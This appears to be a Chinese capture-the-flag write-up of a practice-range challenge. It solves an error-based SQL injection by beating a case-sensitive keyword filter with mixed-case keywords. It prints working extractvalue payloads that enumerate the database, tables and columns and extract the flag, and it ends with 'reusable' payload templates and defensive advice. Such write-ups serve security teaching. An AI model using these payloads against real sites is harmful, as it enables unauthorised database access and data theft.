白帽江湖实战靶场SQL注入篇:SQL注入 - 报错注入(大小写过滤)
SQL注入:报错注入(大小写绕过)靶场通关记录
靶场地址:https://www.baimaojianghu.com/range/10
说明:本文仅记录在该授权靶场中的测试过程,用于学习报错型 SQL 注入结合大小写绕过 WAF 的思路。
1. 题目分析
靶场描述:
企业新闻平台增加了基础WAF防护,对union、select、extractvalue等常见SQL注入关键词进行了过滤拦截。但过滤规则存在大小写敏感缺陷,尝试利用大小写混写绕过WAF获取flag。
核心信息:
- 注入类型:报错注入
- WAF类型:关键词检测(基础版),大小写敏感
- 绕过方式:大小写混写(如
SeLeCt、eXtRaCtVaLuE)
2. 信息收集
2.1 页面初探
打开靶场后,页面标题是"星耀资讯 - 企业内部新闻平台",内容区展示了几篇文章列表:
- 年度优秀员工评选
- 服务器迁移计划
- 新员工入职培训通知
- Q1季度安全审计报告
- 公司2026年度战略规划发布
页面顶部有安全提示:⚠️ 安全防护已开启:关键词检测(基础版)
2.2 定位接口
通过查看页面源码,发现文章通过 loadArticle(id) 函数加载,核心请求为:
fetch('query.php?id=' + encodeURIComponent(id))
因此注入点在 query.php 的 id 参数。
3. 注入点确认
3.1 正常访问
GET /query.php?id=1
返回正常文章数据:
{"code":0,"data":{"id":1,"title":"公司2026年度战略规划发布",...}}
3.2 单引号测试
GET /query.php?id=1'
返回数据库报错,确认存在注入:
{"code":1,"msg":"Database Error: SQLSTATE[42000]: ... near ''' at line 1"}
4. WAF探测
4.1 测试 union 关键字
GET /query.php?id=1 union select 1,2,3,4,5,6,7
被拦截:
{"code":1,"msg":"⚠️ 安全警告:检测到危险关键词 [union],请求已被拦截"}
4.2 大小写绕过测试
GET /query.php?id=1 UnIoN SeLeCt 1,2,3,4,5,6,7
成功绕过,返回正常数据!
4.3 测试其他关键词
| 关键词 | 原始写法 | 大小写绕过 | 结果 |
|---|---|---|---|
union |
被拦截 | UnIoN |
通过 |
select |
被拦截 | SeLeCt |
通过 |
extractvalue |
被拦截 | eXtRaCtVaLuE |
通过 |
updatexml |
含update被拦截 |
未测试(update被拦截) |
- |
WAF 的过滤规则是全小写匹配,因此大小写混写即可绕过。
注:
updatexml因为包含子串update也被拦截,但extractvalue大小写绕过可用,所以选择extractvalue作为报错函数。
5. 报错注入获取数据
5.1 获取数据库名
使用 extractvalue 函数触发 XPath 报错,通过 concat 拼接目标数据:
GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT database()),0x7e))
返回:
XPATH syntax error: '~vuln_db~'
当前数据库名为:vuln_db
5.2 获取表名
从 information_schema.tables 中枚举当前库的所有表:
GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(table_name) fRoM information_schema.tables wHeRe table_schema=database()),0x7e))
返回:
XPATH syntax error: '~secret_flags,articles~'
两张表:secret_flags 和 articles
其中 secret_flags 很可能存储着 flag。
5.3 获取字段名
查看 secret_flags 表的列结构:
GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(column_name) fRoM information_schema.columns wHeRe table_name=0x7365637265745f666c616773),0x7e))
注:
secret_flags使用十六进制编码0x7365637265745f666c616773以避免字符串引号问题。
返回:
XPATH syntax error: '~id,flag_name,flag_value~'
三个字段:id, flag_name, flag_value
5.4 获取 flag
直接查询 secret_flags 表中的数据:
GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(flag_name,0x3a,flag_value) fRoM secret_flags),0x7e))
返回被截断(extractvalue 默认输出长度限制为 32 字符),改为只查 flag_value:
GET /query.php?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT flag_value fRoM secret_flags wHeRe flag_name='flag'),0x7e))
返回:
XPATH syntax error: '~flag{err0r_c4s3_s3ns1t1v3}~'
6. 结果
最终 Flag:
flag{err0r_c4s3_s3ns1t1v3}
7. 完整攻击链复盘
页面分析 → 定位 query.php?id= 接口
↓
单引号测试 → 确认 SQL 注入点
↓
WAF 探测 → 发现 union/select/extractvalue 被全小写匹配过滤
↓
大小写绕 WAF → UnIoN / SeLeCt / eXtRaCtVaLuE 绕过检测
↓
报错注入 → extractvalue 触发 XPath 错误回显
↓
database() → 获取库名 vuln_db
↓
information_schema.tables → 获取表名 secret_flags
↓
information_schema.columns → 获取字段名 flag_name, flag_value
↓
查询 secret_flags → 获取 flag{err0r_c4s3_s3ns1t1v3}
8. 关键点总结
8.1 WAF 绕过技巧
本题 WAF 的过滤规则是基于全小写关键词匹配,实现简单但有明显缺陷:
- 检测到
union→ 拦截,但UnIoN不匹配小写规则 → 放过 - 检测到
select→ 拦截,但SeLeCt不匹配 → 放过 - 检测到
extractvalue→ 拦截,但eXtRaCtVaLuE不匹配 → 放过
8.2 绕过方式汇总
| SQL 关键字 | 原始写法 | 绕过写法 |
|---|---|---|
| SELECT | select |
SeLeCt, sElEcT, SELECT 等 |
| UNION | union |
UnIoN, uNiOn 等 |
| FROM | from |
fRoM, FrOm 等 |
| WHERE | where |
wHeRe, WhErE 等 |
| EXTRACTVALUE | extractvalue |
eXtRaCtVaLuE 等 |
| GROUP_CONCAT | group_concat |
gRoUp_cOnCaT 等 |
8.3 extractvalue 长度限制
extractvalue() 报错输出默认最大长度为 32 字符,当拼接的数据超过该长度时会被截断。如果 flag 较长,可以通过以下方式解决:
- 直接查单个字段(本题使用的方法):
SELECT flag_value FROM secret_flags WHERE flag_name='flag' - 使用 substr 分段截取:
substr(flag_value, 1, 32)和substr(flag_value, 32, 64) - 使用 updatexml(如果没被拦截):
updatexml()同样有 32 字符限制
9. 防御建议
针对此类攻击,防御方应该:
- 不依赖大小写过滤:使用不区分大小写的匹配方式(如转换为统一大小写后再匹配)
- 使用参数化查询:从根本上杜绝 SQL 注入
- 关闭错误回显:生产环境不应暴露数据库错误信息
- 使用正则表达式检测:如
/\b(union|select|extractvalue)\b/i加上i标志进行大小写不敏感匹配
10. 可直接复用的 payload 模板
大小写绕过测试
?id=1 UnIoN SeLeCt 1,2,3
获取数据库名
?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT database()),0x7e))
枚举表名
?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(table_name) fRoM information_schema.tables wHeRe table_schema=database()),0x7e))
枚举字段名
?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(column_name) fRoM information_schema.columns wHeRe table_name='表名'),0x7e))
获取数据
?id=1 and eXtRaCtVaLuE(1,concat(0x7e,(sElEcT group_concat(字段名) fRoM 表名),0x7e))
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
